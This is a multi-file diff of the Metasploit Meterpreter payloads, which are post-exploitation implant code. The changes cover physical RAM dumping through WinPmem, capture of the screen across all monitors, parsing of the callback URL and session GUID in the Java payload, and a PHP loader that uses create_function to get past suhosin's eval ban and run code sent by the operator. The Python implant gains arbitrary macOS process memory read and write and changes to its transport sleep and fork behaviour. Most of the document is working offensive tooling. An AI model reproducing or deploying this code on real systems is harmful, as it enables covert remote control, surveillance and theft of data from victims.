dprintf("Failed to write header");
dprintf("[WINPMEM] Failed to write header");
goto error;
};
@ -838,7 +840,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
header_size = sizeof(pheader);
if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
dprintf("Failed to write header");
dprintf("[WINPMEM] Failed to write header");
goto error;
};
@ -856,7 +858,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
header_size = sizeof(pheader);
if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
dprintf("Failed to write header");
dprintf("[WINPMEM] Failed to write header");
goto error;
};
@ -885,7 +887,7 @@ int WinPmem64::extract_driver()
// Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) {
dprintf("Unable to determine temporary path.");
dprintf("[WINPMEM] Unable to determine temporary path.");
goto error;
}
@ -895,7 +897,7 @@ int WinPmem64::extract_driver()
driver_is_tempfile_ = true;
};
dprintf("Extracting driver to %S", driver_filename_);
dprintf("[WINPMEM] Extracting driver to %S", driver_filename_);
return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
@ -914,7 +916,7 @@ int WinPmem32::extract_driver()
// Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) {
dprintf("Unable to determine temporary path.");
dprintf("[WINPMEM] Unable to determine temporary path.");
goto error;
}
@ -924,7 +926,7 @@ int WinPmem32::extract_driver()
driver_is_tempfile_ = true;
};
dprintf("Extracting driver to %S", driver_filename_);
dprintf("[WINPMEM] Extracting driver to %S", driver_filename_);
return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);

View File

@ -56,8 +56,8 @@ protected:
int extract_file_(__int64 resource_id, TCHAR *filename);
virtual __int64 write_coredump_header_(struct PmemMemoryInfo *info);
int pad(SIZE_T length);
int copy_memory(SIZE_T start, SIZE_T end);
int pad(uint64_t length);
int copy_memory(uint64_t start, uint64_t end);
// The file handle to the pmem device.
HANDLE fd_;
@ -71,7 +71,7 @@ protected:
bool driver_is_tempfile_;
// This is the maximum size of memory calculated.
SIZE_T max_physical_memory_;
uint64_t max_physical_memory_;
// Current offset in output file (Total bytes written so far).
unsigned __int64 out_offset;

View File

@ -1,3 +1,4 @@
#define DEBUGTRACE 1
extern "C"{
/*!
* @file WINPMEM.cpp
@ -100,7 +101,7 @@ HANDLE WinPmem_meterpreter::get_fd() {
return fd_;
}
SIZE_T WinPmem_meterpreter::get_max_physical_memory() {
uint64_t WinPmem_meterpreter::get_max_physical_memory() {
return max_physical_memory_;
}
@ -216,7 +217,7 @@ DWORD dump_ram(Remote *remote, Packet *packet)
goto end;
};
//Initialize max_physical_memory_ when calling print_memory_info !!!!
// Initialize max_physical_memory_ when calling print_memory_info !!!!
pmem_handle->print_memory_info();
Channel *newChannel;
@ -326,8 +327,8 @@ static DWORD winpmem_channel_read(Channel *channel, Packet *request,
dprintf("[WINPMEM] Memory end reached.");
return ERROR_SUCCESS;
}
if (ctx->pmem_info.Run[ctx->index].start > ctx->offset) {
//PADDING
uint64_t padding_size = ctx->pmem_info.Run[ctx->index].start - ctx->offset;
DWORD padding_size_max = (DWORD)min(padding_size, bufferSize);
ZeroMemory(buffer, padding_size_max);

View File

@ -36,7 +36,7 @@ class WinPmem_meterpreter : public WinPmem {
public:
virtual int extract_file_(__int64 resource_id, TCHAR *filename);
virtual HANDLE get_fd();
virtual SIZE_T get_max_physical_memory();
virtual uint64_t get_max_physical_memory();
};
class WinPmem_meterpreter32 : public WinPmem_meterpreter {

View File

@ -25,10 +25,10 @@ DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize
hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( !hPipe )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
if( !dwJpegSize || !pJpegBuffer )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );
@ -62,7 +62,7 @@ DWORD screenshot( int quality, DWORD dwPipeName )
HWINSTA hOrigWindowStation = NULL;
HDESK hInputDesktop = NULL;
HDESK hOrigDesktop = NULL;
HWND hDesktopWnd = NULL;
HWND hDesktopWnd = NULL;
HDC hdc = NULL;
HDC hmemdc = NULL;
HBITMAP hbmp = NULL;
@ -88,14 +88,14 @@ DWORD screenshot( int quality, DWORD dwPipeName )
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
if( os.dwMajorVersion <= 4 )
{
xmetric = SM_CXSCREEN;
ymetric = SM_CYSCREEN;
}
// open the WinSta0 as some services are attached to a different window station.
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
if( !hWindowStation )
@ -103,14 +103,14 @@ DWORD screenshot( int quality, DWORD dwPipeName )
if( RevertToSelf() )
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
}
// if we cant open the defaut input station we wont be able to take a screenshot
if( !hWindowStation )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
// get the current process's window station so we can restore it later on.
hOrigWindowStation = GetProcessWindowStation();
// set the host process's window station to this sessions default input station we opened
if( !SetProcessWindowStation( hWindowStation ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
@ -147,8 +147,8 @@ DWORD screenshot( int quality, DWORD dwPipeName )
// prevent breaking functionality on <= NT 4.0
if (os.dwMajorVersion >= 4)
{
sxpos = GetSystemMetrics(xposition);
sypos = GetSystemMetrics(yposition);
sxpos = GetSystemMetrics(SM_XVIRTUALSCREEN);
sypos = GetSystemMetrics(SM_YVIRTUALSCREEN);
}
@ -156,15 +156,17 @@ DWORD screenshot( int quality, DWORD dwPipeName )
hbmp = CreateCompatibleBitmap( hdc, sx, sy );
if( !hbmp )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
// this bitmap is backed by the memory DC
if( !SelectObject( hmemdc, hbmp ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
// screenshot all available monitors by default
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, SRCCOPY ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
SetProcessDPIAware();
if (!StretchBlt(hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, GetSystemMetrics(SM_CXVIRTUALSCREEN), GetSystemMetrics(SM_CYVIRTUALSCREEN), SRCCOPY))
BREAK_ON_ERROR("[SCREENSHOT] screenshot. StretchBlt failed");
// finally convert the BMP we just made into a JPEG...
if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
@ -172,7 +174,7 @@ DWORD screenshot( int quality, DWORD dwPipeName )
// we have succeded
dwResult = ERROR_SUCCESS;
} while( 0 );
// if we have successfully taken a screenshot we send it back via the named pipe
@ -227,7 +229,7 @@ DWORD screenshot_command_dword( char * cpCommandLine, char * cpCommand )
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
@ -254,7 +256,7 @@ int screenshot_command_int( char * cpCommandLine, char * cpCommand )
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
@ -284,9 +286,9 @@ VOID screenshot_main( char * cpCommandLine )
if( strlen( cpCommandLine ) == 0 )
break;
dprintf( "[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine );
if( strstr( cpCommandLine, "/s" ) )
{
DWORD dwPipeName = 0;
@ -313,8 +315,8 @@ BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
hAppInstance = hInstance;
if( lpReserved != NULL )

View File

@ -333,6 +333,8 @@ DWORD server_setup(MetsrvConfig* config)
config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11],
config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]);
disable_thread_error_reporting();
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.

View File

@ -1,6 +1,6 @@
# -*- coding:binary -*-
module MetasploitPayloads
VERSION = '1.2.37'
VERSION = '1.2.48'
def self.version
VERSION

View File

@ -74,6 +74,10 @@ public class Payload {
csr += 4;
byte[] uuid = ConfigParser.readBytes(configBytes, csr, ConfigParser.UUID_LEN);
csr += ConfigParser.UUID_LEN;
byte[] sessionGUID = ConfigParser.readBytes(configBytes, csr, ConfigParser.GUID_LEN);
csr += ConfigParser.GUID_LEN;
String url = ConfigParser.readString(configBytes, csr, ConfigParser.URL_LEN);
csr += ConfigParser.URL_LEN;
commTimeout = ConfigParser.unpack32(configBytes, csr);

View File

@ -423,7 +423,15 @@ function core_loadlib($req, &$pkt) {
return ERROR_FAILURE;
}
$tmp = $commands;
eval($data_tlv['value']);
# We might not be able to use `eval` here because of some hardening
# (for example, suhosin), so we walk around by using `create_function` instead,
# but since this function is deprecated since php 7.2+, we're not using it
# when we can avoid it, since it might leave some traces in the log files.
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
create_function('', $data_tlv['value'])();
} else {
eval($data_tlv['value']);
}
$new = array_diff($commands, $tmp);
foreach ($new as $meth) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));

View File

@ -14,6 +14,7 @@ import time
try:
import ctypes
import ctypes.util
has_ctypes = True
has_windll = hasattr(ctypes, 'windll')
except ImportError:
@ -69,10 +70,10 @@ else:
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
if has_ctypes:
size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
#
# Windows Structures
#
size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
class EVENTLOGRECORD(ctypes.Structure):
_fields_ = [("Length", ctypes.c_uint32),
("Reserved", ctypes.c_uint32),
@ -1770,6 +1771,33 @@ def _linux_memwrite(address, data):
raise RuntimeError('operation failed')
return size
def _osx_memread(address, size):
libc = ctypes.CDLL(ctypes.util.find_library('c'))
task = libc.mach_task_self()
libc.mach_vm_read.argtypes = [ctypes.c_uint32, size_t, size_t, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_uint32)]
libc.mach_vm_read.restype = ctypes.c_uint32
pointer = ctypes.c_void_p()
out_size = ctypes.c_uint32()
result = libc.mach_vm_read(task, address, size, ctypes.byref(pointer), ctypes.byref(out_size))
if result == 1: # KERN_INVALID_ADDRESS
raise RuntimeError('invalid address')
elif result == 2: # KERN_PROTECTION_FAILURE
raise RuntimeError('invalid permissions')
if result != 0 or size != out_size.value:
raise RuntimeError('operation failed')
buff = ctypes.cast(pointer, ctypes.POINTER(ctypes.c_byte * out_size.value))
return ctarray_to_bytes(buff.contents)
def _osx_memwrite(address, data):
libc = ctypes.CDLL(ctypes.util.find_library('c'))
task = libc.mach_task_self()
libc.mach_vm_write.argtypes = [ctypes.c_uint32, size_t, ctypes.c_void_p, ctypes.c_uint32]
libc.mach_vm_write.restype = ctypes.c_uint32
buff = bytes_to_ctarray(data)
if libc.mach_vm_write(task, address, buff, len(buff)) != 0:
raise RuntimeError('operation failed')
return len(buff)
def _win_format_message(source, msg_id):
EN_US = 0
msg_flags = 0
@ -1811,7 +1839,7 @@ def _win_memwrite(address, data, handle=-1):
return None
return written.value
@register_function_if(sys.platform.startswith('linux') or has_windll)
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api(request, response):
size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
@ -1863,13 +1891,16 @@ def stdapi_railgun_api(request, response):
debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
prototype = func_type(native, *func_args)
if sys.platform.startswith('linux'):
libc = ctypes.cdll.LoadLibrary('libc.so.6')
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
if sys.platform == 'darwin':
libc = ctypes.CDLL(ctypes.util.find_library('c'))
else:
libc = ctypes.cdll.LoadLibrary('libc.so.6')
p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
errno = p_errno.contents
last_error = ctypes.c_int(0)
p_errno.contents = last_error
func = prototype((func_name, ctypes.CDLL(lib_name)))
func = prototype((func_name, ctypes.CDLL(ctypes.util.find_library(lib_name) or lib_name)))
result = func(*call_args)
p_errno.contents = errno
last_error = last_error.value
@ -1900,19 +1931,21 @@ def stdapi_railgun_api(request, response):
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
return ERROR_SUCCESS, response
@register_function_if(sys.platform.startswith('linux') or has_windll)
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api_multi(request, response):
for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
return ERROR_SUCCESS, response
@register_function_if(sys.platform.startswith('linux') or has_windll)
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memread(request, response):
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
if sys.platform.startswith('linux'):
if sys.platform.startswith('darwin'):
result = _osx_memread(address, length)
elif sys.platform.startswith('linux'):
result = _linux_memread(address, length)
elif has_windll:
result = _win_memread(address, length)
@ -1923,13 +1956,15 @@ def stdapi_railgun_memread(request, response):
response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
return ERROR_SUCCESS, response
@register_function_if(sys.platform.startswith('linux') or has_windll)
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memwrite(request, response):
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
if sys.platform.startswith('linux'):
if sys.platform.startswith('darwin'):
result = _osx_memwrite(address, data)
elif sys.platform.startswith('linux'):
result = _linux_memwrite(address, data)
elif has_windll:
result = _win_memwrite(address, data)

View File

@ -60,6 +60,7 @@ random.seed()
# these values will be patched, DO NOT CHANGE THEM
DEBUGGING = False
TRY_TO_FORK = True
HTTP_CONNECTION_URL = None
HTTP_PROXY = None
HTTP_USER_AGENT = None
@ -238,6 +239,13 @@ def debug_print(msg):
if DEBUGGING:
print(msg)
@export
def debug_traceback(msg=None):
if DEBUGGING:
if msg:
print(msg)
traceback.print_exc(file=sys.stderr)
@export
def error_result(exception=None):
if not exception:
@ -533,6 +541,7 @@ class Transport(object):
try:
pkt = self.decrypt_packet(self._get_packet())
except:
debug_traceback()
return None
if pkt is None:
return None
@ -554,6 +563,7 @@ class Transport(object):
try:
self._send_packet(self.encrypt_packet(pkt))
except:
debug_traceback()
return False
self.communication_last = time.time()
return True
@ -709,7 +719,7 @@ class TcpTransport(Transport):
first = self._first_packet
self._first_packet = False
if not select.select([self.socket], [], [], 0.5)[0]:
return ''
return bytes()
packet = self.socket.recv(PACKET_HEADER_SIZE)
if packet == '': # remote is closed
self.request_retire = True
@ -755,6 +765,7 @@ class TcpTransport(Transport):
class PythonMeterpreter(object):
def __init__(self, transport):
self.transport = transport
self._transport_sleep = None
self.running = False
self.last_registered_extension = None
self.extension_functions = {}
@ -859,6 +870,12 @@ class PythonMeterpreter(object):
response = self.create_response(request)
if response:
self.send_packet(response)
if self._transport_sleep:
self.transport.deactivate()
time.sleep(self._transport_sleep)
self._transport_sleep = None
if not self.transport.activate():
self.transport_change()
continue
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
@ -1086,11 +1103,8 @@ class PythonMeterpreter(object):
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
if seconds:
self.transport.deactivate()
time.sleep(seconds)
if not self.transport.activate():
self.transport_change()
return None
self._transport_sleep = seconds
return ERROR_SUCCESS, response
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
@ -1209,9 +1223,7 @@ class PythonMeterpreter(object):
return
result, resp = result
except Exception:
debug_print('[-] method ' + handler_name + ' resulted in an error')
if DEBUGGING:
traceback.print_exc(file=sys.stderr)
debug_traceback('[-] method ' + handler_name + ' resulted in an error')
result = error_result()
else:
if result != ERROR_SUCCESS:
@ -1226,7 +1238,8 @@ class PythonMeterpreter(object):
resp += tlv_pack(reqid_tlv)
return tlv_pack_response(result, resp)
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()